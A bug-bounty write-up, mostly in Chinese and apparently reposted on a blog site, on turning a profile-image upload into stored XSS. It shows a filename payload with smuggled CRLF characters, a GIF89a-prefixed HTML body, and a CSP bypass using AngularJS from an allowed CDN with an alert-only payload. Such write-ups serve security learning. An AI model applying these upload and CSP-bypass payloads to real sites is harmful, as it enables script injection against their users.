图片上传绕过与存储型XSS漏洞利用技术详解

My name is Ignacio Jose Riva, and I am a full-time Bug Bounty Hunter actively working in platforms like Bugcrowd, Intigriti, Hackerone, etc hunting for all kinds of vulnerabilities.

在本文中,我将解释我是如何绕过图片上传功能,并在目标网站上实现存储型XSS的。


🖊️Writeup

在测试 https://app.target.com/ 时,我在 /profile 路径下发现了一个有趣的端点。

Profile image upload

个人资料图片上传功能依赖于以下 POST 端点:

bash 复制代码
POST /api/images/

上传图片后,文件可以通过以下路径访问: /files/images/<filename>.png

响应如下:

json 复制代码
{"message":"Upload successfully","files":[{"name":"<img>","path":"images/<img>","url":"https://app.target.com/files/images/<img>"}]}

起初,上传验证受到严格的正则表达式 保护,使得无法将此问题升级为远程代码执行(RCE)。因此,最可行的攻击途径是尝试存储型XSS

我专注于滥用文件名处理,使用 .html 扩展名结合空字节(%0d%0a)。

使用的载荷如下:

ini 复制代码
filename="name.html%0d%0a.png"
Content-Type: text/html

为了绕过图片验证,请求体以 GIF89a 文件签名开头,后接 HTML 内容:

css 复制代码
GIF89a
<html><body>ANY</body></html>

这样,该文件被成功上传并呈现为 HTML 页面,而非图片。

CSP Restriction

当尝试执行 JavaScript 时,载荷被**内容安全策略(CSP)**阻止:

arduino 复制代码
CSP script-src 'self' https://cdn.jsdelivr.net

这意味着只有托管在同一域名下或从 cdn.jsdelivr.net 加载的脚本才被允许。

为了绕过此限制,我使用了从 cdn.jsdelivr.net 加载的 AngularJS ,这符合 CSP 规则。一个非常有用的 CSP 攻击资源是:cspbypass.com/

Final Payload (Stored XSS)

html 复制代码
<script src="https://cdn.jsdelivr.net/npm/angular@1.8.3/angular.min.js"></script>
<div ng-app>
  <img src=x ng-on-error="window=$event.target.ownerDocument.defaultView;window.alert('XSS by cyx :)');">
</div>

上传文件后,我直接访问了: https://app.target.com/files/images/name.html

此时,我成功做到了:

  • 绕过图片上传限制
  • 绕过 CSP
  • 实现存储型 XSS

✉️ Get in Touch

如有问题、合作或想了解更多关于漏洞赏金猎取的内容,可以通过以下方式联系我:

  • LinkedIn: linkedin.com/in/cyxbugs/
  • Twitter: x.com/cyxbugs CSD0tFqvECLokhw9aBeRqj6jqLMuiORy6/rp+XTMHOVcU0CTINHq8kAGnLzNLK83ddW0lRF2hwizUDMpjFWvp7Rsq6LK4IIlmNQs8A8LUJLL55RQxregeAyAtAuO40Yq
相关推荐
明航咨询-陈老师1 分钟前
CS 信息系统建设和服务能力评估 2026:五级体系、4 年有效期与 ITSS/CMMI 协同选择实务
人工智能·cs资质
lisw053 分钟前
网络安全与人工智能:进展、挑战、机遇与威胁!
人工智能·网络安全
飞猫的边缘AI4 分钟前
边缘AI-13:从YOLOv1到YOLO26:目标检测是怎么进化的
人工智能·yolo·目标检测·ai算法·边缘ai·yolo26
道可云5 分钟前
VR全景导览和AR导览有何区别?山东景区该怎么选?
人工智能
Dovis(誓平步青云)8 分钟前
QQ 机器人怎么接上 AI?用 AstrBot + NapCat 搭一套可扩展的 DeepSeek 助手
服务器·人工智能·机器人·操作系统·电脑·智能化
资讯综合8 分钟前
2026招聘平台深度技术评测:AI算法重构人岗匹配,主流产品横向对比
人工智能
像风一样自由202013 分钟前
29.Redis在大模型应用中有哪些用途缓存会话与限流
数据库·人工智能·redis·缓存·大模型·milvus·智能体
EterNity_TiMe_15 分钟前
Pascal Editor 本地部署实战:Bun 启动 WebGPU 3D 编辑器,再解决公网访问报错
人工智能·docker·ai·容器·cpolar
陈嘿萌16 分钟前
ECCV 2026|AerialMetric:一个全新的无人机单目深度估计数据集,面向真实世界航拍场景
人工智能·计算机视觉·学术研究与理论基础